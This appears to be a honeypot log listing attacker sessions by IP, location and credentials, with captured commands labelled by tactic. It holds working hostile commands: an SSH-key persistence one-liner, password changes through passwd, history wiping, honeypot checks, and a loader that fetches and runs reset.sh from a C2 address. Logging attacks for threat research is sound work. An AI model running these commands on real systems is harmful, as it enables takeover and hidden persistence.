$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "mysql\nOdqMfD9l7HCW\nOdqMfD9l7HCW"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql\nOdqMfD9l7HCW\nOdqMfD9l7HCW\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 phantom_root_6 (210.79.191.199) β€” Cicurug, Indonesia Β· 1 session Β· 20 cmds
2026-04-21 18:24 EDT Β· as mysql/mysql
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "mysql\n85dZxa43rIFh\n85dZxa43rIFh"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql\n85dZxa43rIFh\n85dZxa43rIFh\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 kimchi_pi (121.131.218.157) β€” Seoul, South Korea Β· 4 sessions Β· 6 cmds
2026-04-19 01:39 EDT Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x tDUrFR3M && bash -c ./tDUrFR3M Γ—2
↳ make executable
$ ./tDUrFR3M Γ—2
↳ execute payload
$ scp -t /tmp/tDUrFR3M Γ—2
↳ execute from /tmp
🎭 ghost_root_5 (103.191.17.214) β€” Jakarta Pusat, Indonesia Β· 35 sessions Β· 35 cmds
2026-04-21 16:43 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 specter_root_37 (83.235.21.125) β€” Athens, Greece Β· 1 session Β· 20 cmds
2026-04-21 17:33 EDT Β· as mysql/mysql
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" β†’ passwd mysql:3dYH5nndOcgX β†’ cat /proc/cpuinfo | grep name |
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "mysql\n3dYH5nndOcgX\n3dYH5nndOcgX"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql\n3dYH5nndOcgX\n3dYH5nndOcgX\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 silk_root_8 (112.6.227.209) β€” Weifang, China Β· 1 session Β· 2 cmds
2026-04-21 17:13 EDT Β· as oracle/Oracle123!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_root_47 (89.152.179.132) β€” Santa Cruz do Bispo, Portugal Β· 1 session Β· 2 cmds
2026-04-21 16:39 EDT Β· as oracle/Oracle@123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 liberty_root_3 (198.98.56.227) β€” New York, United States Β· 2 sessions Β· 4 cmds
2026-04-09 14:49 EDT Β· as oracle/Oracle02, oracle/Oracle20
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 yankee_root_13 (20.55.117.89) β€” Boydton, United States Β· 2 sessions Β· 2 cmds
2026-04-21 13:52 EDT Β· as root/123456, root/12345678
netstat β†’ hostname discovery
$ netstat -tulpn | head -10
$ hostname
↳ hostname discovery
🎭 ghost_root_48 (103.52.152.101) β€” Mong Kok, Hong Kong Β· 1 session Β· 2 cmds
2026-04-21 13:18 EDT Β· as oracle/Oracle08!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_root_33 (160.187.240.90) β€” Phu Do, Vietnam Β· 1 session Β· 2 cmds
2026-04-21 13:07 EDT Β· as oracle/Oracle08!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 gouda_root_5 (176.65.148.154) β€” Eygelshoven, Netherlands Β· 1 session Β· 1 cmd
2026-04-21 12:45 EDT Β· as root/root
payload download from C2
$ (cd /tmp && (wget http://176.65.148.112/AiMl/reset.sh -O .d 2>/dev/null || curl -s http://176.65.148.112/AiMl/reset.sh -o .d 2>/dev/null || tftp -g -r .d -l .d http://176.65.148.112/AiMl/reset.sh 2>/dev/null) && chmod +x .d && ./.d); history -c 2>/dev/null; > ~/.bash_history 2>/dev/null || (cd /var/run && (wget http://176.65.148.112/AiMl/reset.sh -O .d 2>/dev/null || curl -s http://176.65.148.112/AiMl/reset.sh -o .d 2>/dev/null || tftp -g -r .d -l .d http://176.65.148.112/AiMl/reset.sh 2>/dev/null) && chmod +x .d && ./.d); history -c 2>/dev/null; > ~/.bash_history 2>/dev/null || (cd /dev/shm && (wget http://176.65.148.112/AiMl/reset.sh -O .d 2>/dev/null || curl -s http://176.65.148.112/AiMl/reset.sh -o .d 2>/dev/null || tftp -g -r .d -l .d http://176.65.148.112/AiMl/reset.sh 2>/dev/null) && chmod +x .d && ./.d); history -c 2>/dev/null; > ~/.bash_history 2>/dev/null || (cd /root && (wget http://176.65.148.112/AiMl/reset.sh -O .d 2>/dev/null || curl -s http://176.65.148.112/AiMl/reset.sh -o .d 2>/dev/null || tftp -g -r .d -l .d http://176.65.148.112/AiMl/reset.sh 2>/dev/null) && chmod +x .d && ./.d); history -c 2>/dev/null; > ~/.bash_history 2>/dev/null || (cd / && (wget http://176.65.148.112/AiMl/reset.sh -O .d 2>/dev/null || curl -s http://176.65.148.112/AiMl/reset.sh -o .d 2>/dev/null || tftp -g -r .d -l .d http://176.65.148.112/AiMl/reset.sh 2>/dev/null) && chmod +x .d && ./.d); history -c 2>/dev/null; > ~/.bash_history 2>/dev/null
↳ payload download from C2
🎭 lantern_root_9 (118.145.235.60) β€” Haidian, China Β· 1 session Β· 20 cmds
2026-04-21 12:34 EDT Β· as oracle/Oracle08!
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "Oracle08!\nczcWZ2eKKNrA\nczcWZ2eKKNrA"|passwd|bash
$ Enter new UNIX password:
$ echo "Oracle08!\nczcWZ2eKKNrA\nczcWZ2eKKNrA\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 ghost_root_49 (36.92.107.106) β€” Jakarta, Indonesia Β· 1 session Β· 2 cmds
2026-04-21 12:21 EDT Β· as oracle/Oracle08!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 tulip_sol_5 (45.156.87.99) β€” Eygelshoven, Netherlands Β· 35 sessions Β· 35 cmds
2026-04-21 11:34 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—35
🎭 bike_root_6 (4.180.183.246) β€” Amsterdam, Netherlands Β· 1 session Β· 1 cmd
2026-04-21 10:38 EDT Β· as root/root
mount
$ mount | head -5
🎭 dragon_root_10 (8.160.177.115) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-21 09:19 EDT Β· as admin/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 silk_root_9 (112.74.189.236) β€” Shenzhen, China Β· 1 session Β· 1 cmd
2026-04-21 08:30 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 dragon_root_11 (182.92.102.68) β€” Beijing, China Β· 2 sessions Β· 2 cmds
2026-04-14 21:16 EDT Β· as postgres/postgres, root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 wok_root_12 (139.196.27.86) β€” Shanghai, China Β· 3 sessions Β· 3 cmds
2026-04-09 06:20 EDT Β· as deploy/deploy, root/root, user/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—3
↳ OS/kernel identification
🎭 cosmo_pi (212.34.100.110) β€” Gus'-Khrustal'nyy, Russia Β· 2 sessions Β· 3 cmds
2026-04-20 22:30 EDT Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x fvMRaKYr && bash -c ./fvMRaKYr
↳ make executable
$ ./fvMRaKYr
↳ execute payload
$ scp -t /tmp/fvMRaKYr
↳ execute from /tmp
🎭 wok_root_13 (47.99.97.73) β€” Hangzhou, China Β· 2 sessions Β· 2 cmds
2026-04-18 06:04 EDT Β· as admin/123456, user/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 dutch_root (193.32.162.151) β€” Amsterdam, The Netherlands Β· 271 sessions Β· 271 cmds
2026-03-19 06:19 EDT Β· as admin/admin, admin/admin123, admin/password
Ran uname 79x across 79 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—271
↳ obfuscated system check
🎭 wok_root_14 (182.92.92.149) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-20 04:18 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 shadow_pi (86.127.249.49) β€” Alcobendas, Spain Β· 2 sessions Β· 3 cmds
2026-04-20 02:54 EDT Β· as pi/raspberry
make executable β†’ execute payload β†’ execute from /tmp
$ cd /tmp && chmod +x iymvBvxY && bash -c ./iymvBvxY
↳ make executable
$ ./iymvBvxY
↳ execute payload
$ scp -t /tmp/iymvBvxY
↳ execute from /tmp
🎭 gouda_root_6 (130.12.180.16) β€” Amsterdam, Netherlands Β· 1 session Β· 4 cmds
2026-04-20 00:03 EDT Β· as root/root
OS/kernel identification β†’ cat β†’ busybox
$ uname -a
↳ OS/kernel identification
$ cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null
$ busybox ECHOTEST 2>/dev/null || /bin/busybox ECHOTEST 2>/dev/null || /usr/bin/busybox ECHOTEST 2>/dev/null
$ cat /proc/meminfo 2>/dev/null | head -5; echo ===CORES===; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null; echo ===MODEL===; grep -m1 'model name' /proc/cpuinfo 2>/dev/null || grep -m1 'Hardware' /proc/cpuinfo 2>/dev/null || grep -m1 'cpu model' /proc/cpuinfo 2>/dev/null; echo ===OS===; grep PRETTY_NAME /etc/os-release 2>/dev/null || cat /etc/issue 2>/dev/null | head -1; echo ===UP===; uptime 2>/dev/null || cat /proc/uptime 2>/dev/null
🎭 ghost_root_50 (217.182.78.185) β€” Warsaw, Poland Β· 1 session Β· 1 cmd
2026-04-19 19:40 EDT Β· as root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 ghost_root_3 (101.36.107.152) β€” Hong Kong, Hong Kong Β· 105 sessions Β· 105 cmds
2026-04-04 06:48 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—105
🎭 jade_root (120.48.199.28) β€” Beijing, China Β· 125 sessions Β· 125 cmds
2026-03-20 20:35 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 62x across 62 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r-m Γ—125
🎭 bike_root_2 (45.156.87.209) β€” Eygelshoven, Netherlands Β· 6 sessions Β· 6 cmds
2026-04-19 02:09 EDT Β· as root/1234, root/123456, root/12345678
hostname discovery β†’ OS/kernel identification β†’ env β†’ history snooping β†’ ps β†’ uptime check
$ hostname
↳ hostname discovery
$ uname -a
↳ OS/kernel identification
$ env | head -10
$ history | tail -5
↳ history snooping
$ ps aux | head -10
$ uptime
↳ uptime check
🎭 rogue_root_33 (90.181.173.168) β€” TuchomΔ›Ε™ice, Czechia Β· 1 session Β· 1 cmd
2026-04-19 12:51 EDT Β· as guest/guest
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 shadow_root_27 (41.82.52.124) β€” Dakar, Senegal Β· 1 session Β· 19 cmds
2026-04-19 12:15 EDT Β· as oracle/Passw0rd
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ echo ssh-rsa β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo passwd payload | passwd | bash β†’ cat /proc/cpuinfo | grep model | wc -l β†’ free -m | grep Mem β†’ ls -lh $(which ls) β†’ which ls β†’ crontab -l β†’
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "Passw0rd\ngh46rZbhw2xR\ngh46rZbhw2xR"|passwd|bash
$ Enter new UNIX password:
$ echo "Passw0rd\ngh46rZbhw2xR\ngh46rZbhw2xR\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 cipher_root_42 (8.217.107.107) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-19 12:09 EDT Β· as postgres/postgres
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 k-pop_root_2 (106.251.244.178) β€” Yongin-si, South Korea Β· 1 session Β· 2 cmds
2026-04-19 11:51 EDT Β· as oracle/Passw0rd
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 dragon_root_12 (101.201.233.222) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-19 09:01 EDT Β· as oracle/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 strudel_root_7 (194.164.59.59) β€” Berlin, Germany Β· 1 session Β· 2 cmds
2026-04-19 08:28 EDT Β· as oracle/oracle12
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 pretzel_root_4 (5.231.208.117) β€” Bad Homburg, Germany Β· 1 session Β· 1 cmd
2026-04-19 05:22 EDT Β· as root/root
privilege check
$ whoami
↳ privilege check
🎭 phantom_root_25 (104.244.74.84) β€” Roost, Luxembourg Β· 1 session Β· 2 cmds
2026-04-19 05:21 EDT Β· as oracle/Oracle$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
